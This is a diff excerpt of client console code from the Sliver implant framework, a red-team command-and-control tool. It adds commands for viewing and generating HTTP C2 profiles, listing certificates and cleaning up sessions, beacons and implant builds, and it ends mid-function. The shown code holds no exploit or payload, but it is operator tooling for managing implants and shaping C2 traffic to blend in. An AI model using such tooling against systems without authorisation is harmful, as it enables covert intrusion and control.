})
|
||||
tw.AppendRow(table.Row{
|
||||
"Chrome base version",
|
||||
profile.ImplantConfig.ChromeBaseVersion,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"MacOS version",
|
||||
profile.ImplantConfig.MacOSVersion,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce query arg chars",
|
||||
profile.ImplantConfig.NonceQueryArgChars,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce query length",
|
||||
profile.ImplantConfig.NonceQueryLength,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce mode",
|
||||
profile.ImplantConfig.NonceMode,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max files",
|
||||
profile.ImplantConfig.MaxFileGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min files",
|
||||
profile.ImplantConfig.MinFileGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max paths",
|
||||
profile.ImplantConfig.MaxPathGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min paths",
|
||||
profile.ImplantConfig.MinPathGen,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Max path length",
|
||||
profile.ImplantConfig.MaxPathLength,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Min path length",
|
||||
profile.ImplantConfig.MinPathLength,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"File extensions",
|
||||
strings.Join(profile.ImplantConfig.Extensions, ","),
|
||||
})
|
||||
|
||||
var (
|
||||
paths []string
|
||||
files []string
|
||||
)
|
||||
for _, segment := range profile.ImplantConfig.PathSegments {
|
||||
if segment.IsFile {
|
||||
files = append(files, segment.Value)
|
||||
} else {
|
||||
paths = append(paths, segment.Value)
|
||||
}
|
||||
}
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Paths",
|
||||
strings.Join(paths[:], ",")[:50] + "...",
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Files",
|
||||
strings.Join(files[:], ",")[:50] + "...",
|
||||
})
|
||||
|
||||
con.Println(tw.Render())
|
||||
con.Println("\n")
|
||||
}
|
||||
|
||||
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) (string, error) {
|
||||
c2profile := ""
|
||||
var choices []string
|
||||
for _, c2profile := range c2profiles {
|
||||
choices = append(choices, c2profile.Name)
|
||||
}
|
||||
|
||||
_ = forms.Select("Select a c2 profile", choices, &c2profile)
|
||||
|
||||
if c2profile == "" {
|
||||
return "", ErrNoSelection
|
||||
}
|
||||
|
||||
return c2profile, nil
|
||||
}
|
||||
|
||||
func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
|
||||
// update the template with the urls
|
||||
|
||||
var (
|
||||
paths []string
|
||||
filenames []string
|
||||
extensions []string
|
||||
)
|
||||
|
||||
for _, urlPath := range urls {
|
||||
parsedURL, err := url.Parse(urlPath)
|
||||
if err != nil {
|
||||
fmt.Println("Error parsing URL:", err)
|
||||
continue
|
||||
}
|
||||
|
||||
dir, file := path.Split(parsedURL.Path)
|
||||
dir = strings.Trim(dir, "/")
|
||||
if dir != "" {
|
||||
paths = append(paths, strings.Split(dir, "/")...)
|
||||
}
|
||||
|
||||
if file != "" {
|
||||
fileName := strings.TrimSuffix(file, filepath.Ext(file))
|
||||
filenames = append(filenames, fileName)
|
||||
ext := strings.TrimPrefix(filepath.Ext(file), ".")
|
||||
if ext != "" {
|
||||
extensions = append(extensions, ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
slices.Sort(extensions)
|
||||
extensions = slices.Compact(extensions)
|
||||
|
||||
slices.Sort(paths)
|
||||
paths = slices.Compact(paths)
|
||||
|
||||
slices.Sort(filenames)
|
||||
filenames = slices.Compact(filenames)
|
||||
|
||||
// 5 is arbitrarily used as a minimum value
|
||||
if len(paths) < 5 {
|
||||
return nil, fmt.Errorf("got %d paths need at least 5", len(paths))
|
||||
}
|
||||
|
||||
if len(filenames) < 5 {
|
||||
return nil, fmt.Errorf("got %d paths need at least 5", len(filenames))
|
||||
}
|
||||
|
||||
template.ImplantConfig.Extensions = extensions
|
||||
template.ImplantConfig.Paths = paths
|
||||
template.ImplantConfig.Files = filenames
|
||||
return template, nil
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
package c2profiles
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
importC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.ImportC2ProfileStr,
|
||||
Short: "Import HTTP C2 profile",
|
||||
Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ImportC2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind(consts.ImportC2ProfileStr, false, importC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
||||
f.StringP("file", "f", "", "Path to C2 configuration file to import")
|
||||
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
|
||||
})
|
||||
|
||||
exportC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.ExportC2ProfileStr,
|
||||
Short: "Export HTTP C2 profile",
|
||||
Long: help.GetHelpFor([]string{consts.ExportC2ProfileStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExportC2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind(consts.ExportC2ProfileStr, false, exportC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
|
||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
||||
})
|
||||
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
|
||||
C2ProfileCmd := &cobra.Command{
|
||||
Use: consts.C2ProfileStr,
|
||||
Short: "Display C2 profile details",
|
||||
Long: help.GetHelpFor([]string{consts.C2ProfileStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
C2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.NetworkHelpGroup,
|
||||
}
|
||||
flags.Bind(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile to display")
|
||||
})
|
||||
|
||||
flags.BindFlagCompletions(C2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
|
||||
generateC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.C2GenerateStr,
|
||||
Short: "Generate a C2 Profile from a list of urls",
|
||||
Long: help.GetHelpFor([]string{consts.C2ProfileStr + "." + consts.C2GenerateStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
GenerateC2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
|
||||
flags.Bind(consts.GenerateStr, false, generateC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("file", "f", "", "Path to file containing URL list, /hello/there.txt one per line")
|
||||
f.BoolP("import", "i", false, "Import the generated profile after creation")
|
||||
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
|
||||
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
|
||||
})
|
||||
|
||||
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["template"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
|
||||
C2ProfileCmd.AddCommand(generateC2ProfileCmd)
|
||||
C2ProfileCmd.AddCommand(importC2ProfileCmd)
|
||||
C2ProfileCmd.AddCommand(exportC2ProfileCmd)
|
||||
|
||||
return []*cobra.Command{
|
||||
C2ProfileCmd,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
# client/command/certificates
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'certificates' command group for the Sliver client console.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `certificates.go` – Retrieves certificate metadata from the server, formats expiration status, and prints results to the console.
|
||||
- `commands.go` – Registers the certificates command and binds the flags needed to query certificate inventories.
|
||||
@@ -0,0 +1,181 @@
|
||||
package certificates
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
const (
|
||||
timeFormat = "2006-01-02 15:04:05 UTC-0700"
|
||||
)
|
||||
|
||||
// Defining the transport filters
|
||||
const (
|
||||
MTLSTransport uint32 = 1 << iota
|
||||
HTTPSTransport
|
||||
AllTransports
|
||||
)
|
||||
|
||||
// Defining the role filters
|
||||
const (
|
||||
// Provide some separation between the options so that we do not have duplicate combinations
|
||||
ServerRole uint32 = 8 << iota
|
||||
ImplantRole
|
||||
AllRoles
|
||||
)
|
||||
|
||||
func CertificateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// Since we are sending this value in a protobuf, we will give it a fixed bit size
|
||||
// 32 is the smallest we can go
|
||||
var chosenOptions uint32
|
||||
|
||||
if cmd.Flags().Changed("mtls") {
|
||||
if cmd.Flags().Changed("https") {
|
||||
chosenOptions = AllTransports
|
||||
} else {
|
||||
chosenOptions = MTLSTransport
|
||||
}
|
||||
} else if cmd.Flags().Changed("https") {
|
||||
chosenOptions = HTTPSTransport
|
||||
} else {
|
||||
chosenOptions = AllTransports
|
||||
}
|
||||
|
||||
if cmd.Flags().Changed("server") {
|
||||
if cmd.Flags().Changed("implant") {
|
||||
chosenOptions |= AllRoles
|
||||
} else {
|
||||
chosenOptions |= ServerRole
|
||||
}
|
||||
} else if cmd.Flags().Changed("implant") {
|
||||
chosenOptions |= ImplantRole
|
||||
} else {
|
||||
chosenOptions |= AllRoles
|
||||
}
|
||||
|
||||
request := &clientpb.CertificatesReq{
|
||||
CategoryFilters: chosenOptions,
|
||||
}
|
||||
|
||||
request.CN, _ = cmd.Flags().GetString("cn")
|
||||
|
||||
// Ask the server for information about certificates
|
||||
certificateInfo, err := con.Rpc.GetCertificateInfo(context.Background(), request)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not get certificate information from database: %s", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
printCertificateInfo(con, certificateInfo.Info)
|
||||
}
|
||||
|
||||
func checkCertExpiry(expiryTime time.Time) string {
|
||||
if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
|
||||
return console.Bold + console.Red
|
||||
}
|
||||
|
||||
// One week is 168 hours - this is bad
|
||||
if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
|
||||
return console.Bold + console.Red
|
||||
}
|
||||
|
||||
// One month is approximately 730 hours - this is a warning
|
||||
if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
|
||||
return console.Bold + console.Orange
|
||||
}
|
||||
|
||||
return console.Normal
|
||||
}
|
||||
|
||||
func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
|
||||
// Get the terminal width
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
if len(certData) == 0 {
|
||||
con.PrintWarnf("There are no certificates in the database matching the given parameters.\n")
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Common Name",
|
||||
"Creation Time",
|
||||
"Certificate Type",
|
||||
"Key Algorithm",
|
||||
"Validity Start",
|
||||
"Expires",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Common Name",
|
||||
"Expires",
|
||||
})
|
||||
}
|
||||
|
||||
for _, cert := range certData {
|
||||
rowColor := console.Normal
|
||||
|
||||
expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
|
||||
// This should not error out, but if it does, the row will not be colored
|
||||
if err == nil {
|
||||
rowColor = checkCertExpiry(expiry)
|
||||
}
|
||||
if wideTermWidth {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CreationTime),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.Type),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.KeyAlgorithm),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityStart),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
tw.SortBy([]table.SortBy{{Name: "Expires", Mode: table.Dsc}})
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
package certificates
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
certificatesCmd := &cobra.Command{
|
||||
Use: consts.CertificatesStr,
|
||||
Short: "Certificate management",
|
||||
Long: help.GetHelpFor([]string{consts.CertificatesStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CertificateInfoCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
}
|
||||
flags.Bind(consts.CertificatesStr, false, certificatesCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("mtls", "m", false, "Show MTLS certificates")
|
||||
f.BoolP("https", "p", false, "Show HTTPS certificates")
|
||||
f.BoolP("implant", "i", false, "Show implant certificates")
|
||||
f.BoolP("server", "s", false, "Show server certificates")
|
||||
f.StringP("cn", "c", "", "Show certificate information for a provided common name")
|
||||
})
|
||||
|
||||
return []*cobra.Command{
|
||||
certificatesCmd,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
# client/command/clean
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'clean' command group for the Sliver client console.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `clean.go` – Defines the clean command and its helpers that purge local build artifacts, cached profiles, and stale sessions.
|
||||
@@ -0,0 +1,140 @@
|
||||
package clean
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// CleanCmd - Remove all profiles, beacons, sessions and implant builds (Builds and logs will still exist on disk in .sliver)
|
||||
func CleanCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.Printf("This command will kill and remove all sessions, beacons and profiles \n")
|
||||
confirm := false
|
||||
_ = forms.Confirm("Are you sure you want to destroy everything?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := removeSessionsAndBeacons(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = removeImplantBuilds(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = removeProfiles(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("All done !\n")
|
||||
}
|
||||
|
||||
func removeImplantBuilds(con *console.SliverClient) error {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for name, _ := range builds.Configs {
|
||||
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
|
||||
Name: name,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func removeProfiles(con *console.SliverClient) error {
|
||||
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, profile := range profiles.Profiles {
|
||||
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
|
||||
Name: profile.Name,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func removeSessionsAndBeacons(con *console.SliverClient) error {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, session := range sessions.Sessions {
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: flags.DefaultTimeout,
|
||||
},
|
||||
Force: false,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, beacon := range beacons.Beacons {
|
||||
_, err = con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Commands returns the `exit` command.
|
||||
func Command(con *console.SliverClient) []*cobra.Command {
|
||||
return []*cobra.Command{{
|
||||
Use: "clean",
|
||||
Short: "Remove all profiles, beacons, sessions, implant builds and HTTP profiles (Builds and logs will still exist on disk in .sliver)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CleanCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: constants.GenericHelpGroup,
|
||||
}}
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
client "github.com/bishopfox/sliver/client/console"
|
||||
"github.com/reeflective/console"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Bind is a convenience function to bind flags to a given command.
|
||||
// name - The name of the flag set (can be empty).
|
||||
// cmd - The command to which the flags should be bound.
|
||||
// flags - A function exposing the flag set through which flags are declared.
|
||||
func Bind(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) {
|
||||
flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set.
|
||||
flags(flagSet) // Let the user bind any number of flags to it.
|
||||
|
||||
if persistent {
|
||||
cmd.PersistentFlags().AddFlagSet(flagSet)
|
||||
} else {
|
||||
cmd.Flags().AddFlagSet(flagSet)
|
||||
}
|
||||
}
|
||||
|
||||
// BindFlagCompletions is a convenience function for adding completions to a command's flags.
|
||||
// cmd - The command owning the flags to complete.
|
||||
// bind - A function exposing a map["flag-name"]carapace.Action.
|
||||
func BindFlagCompletions(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) {
|
||||
comps := make(carapace.ActionMap)
|
||||
bind(&comps)
|
||||
|
||||
carapace.Gen(cmd).FlagCompletion(comps)
|
||||
}
|
||||
|
||||
// RestrictTargets generates a cobra annotation map with a single console.CommandHiddenFilter key
|
||||
// to a comma-separated list of filters to use in order to expose/hide commands based on requirements.
|
||||
// Ex: cmd.Annotations = RestrictTargets("windows") will only show the command if the target is Windows.
|
||||
// Ex: cmd.Annotations = RestrictTargets("windows", "beacon") show the command if target is a beacon on Windows.
|
||||
func RestrictTargets(filters ...string) map[string]string {
|
||||
if len(filters) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
if len(filters) == 1 {
|
||||
return map[string]string{
|
||||
console.CommandFilterKey: filters[0],
|
||||
}
|
||||
}
|
||||
|
||||
filts := strings.Join(filters, ",")
|
||||
|
||||
return map[string]string{
|
||||
console.CommandFilterKey: filts,
|
||||
}
|
||||
}
|
||||
|
||||
// makeBind returns a commandBinder helper function
|
||||
// @menu - The command menu to which the commands should be bound (either server or implant menu).
|
||||
func makeBind(cmd *cobra.Command, con *client.SliverClient) func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) {
|
||||
return func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) {
|
||||
found := false
|
||||
|
||||
// Ensure the given command group is available in the menu.
|
||||
if group != "" {
|
||||
for _, grp := range cmd.Groups() {
|
||||
if grp.Title == group {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !found {
|
||||
cmd.AddGroup(&cobra.Group{
|
||||
ID: group,
|
||||
Title: group,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Bind the command to the root
|
||||
for _, command := range cmds {
|
||||
cmd.AddCommand(command(con)...)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// commandBinder is a helper used to bind commands to a given menu, for a given "command help group".
|
||||
//
|
||||
// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package.
|
||||
// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function.
|
||||
// type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command)
|
||||
|
||||
// [ Core ]
|
||||
// [ Sessions ]
|
||||
// [ Execution ]
|
||||
// [ Filesystem ]
|
||||
// [ Info ]
|
||||
// [ Network (C2)]
|
||||
// [ Network tools ]
|
||||
// [ Payloads ]
|
||||
// [ Privileges ]
|
||||
// [ Processes ]
|
||||
// [ Aliases ]
|
||||
// [ Extensions ]
|
||||
|
||||
// Commands not to bind in CLI:
|
||||
// - portforwarders
|
||||
// - Socks (and wg-socks ?)
|
||||
// - shell ?
|
||||
|
||||
// Take care of:
|
||||
// - double bind help command
|
||||
// - double bind session commands
|
||||
// - don't bind readline command in CLI.
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,4 +1,9 @@
|
||||
Completers
|
||||
===========
|
||||
# client/command/completers
|
||||
|
||||
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
|
||||
## Overview
|
||||
|
||||
Implements the 'completers' command group for the Sliver client console.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `completers.go` – Provides reusable carapace completion helpers for selecting client interfaces and proxy endpoints.
|
||||
@@ -19,45 +19,68 @@ package completers
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"net"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/rsteube/carapace"
|
||||
)
|
||||
|
||||
// LocalPathCompleter - Completes a local file system path
|
||||
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
var parent string
|
||||
var partial string
|
||||
fi, err := os.Stat(prefix)
|
||||
if os.IsNotExist(err) {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
} else {
|
||||
if fi.IsDir() {
|
||||
parent = prefix
|
||||
partial = ""
|
||||
} else {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
// ClientInterfacesCompleter completes interface addresses on the client host.
|
||||
func ClientInterfacesCompleter() carapace.Action {
|
||||
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to get net interfaces: %s", err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
results := []string{}
|
||||
ls, err := ioutil.ReadDir(parent)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
for _, fi = range ls {
|
||||
if 0 < len(partial) {
|
||||
if strings.HasPrefix(fi.Name(), partial) {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, i := range ifaces {
|
||||
addrs, err := i.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, a := range addrs {
|
||||
switch v := a.(type) {
|
||||
case *net.IPAddr:
|
||||
results = append(results, v.IP.String())
|
||||
case *net.IPNet:
|
||||
results = append(results, v.IP.String())
|
||||
default:
|
||||
results = append(results, v.String())
|
||||
}
|
||||
}
|
||||
} else {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
}
|
||||
return results
|
||||
|
||||
return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':')
|
||||
})
|
||||
}
|
||||
|
||||
// LocalProxyCompleter gives URL completion to all flags/arguments that accept a client proxy address.
|
||||
func LocalProxyCompleter() carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
prefix := ""
|
||||
|
||||
hostPort := carapace.ActionMultiParts(":", func(c carapace.Context) carapace.Action {
|
||||
switch len(c.Parts) {
|
||||
case 0:
|
||||
return ClientInterfacesCompleter()
|
||||
case 1:
|
||||
return carapace.ActionMessage("server port")
|
||||
default:
|
||||
return carapace.ActionValues()
|
||||
}
|
||||
})
|
||||
|
||||
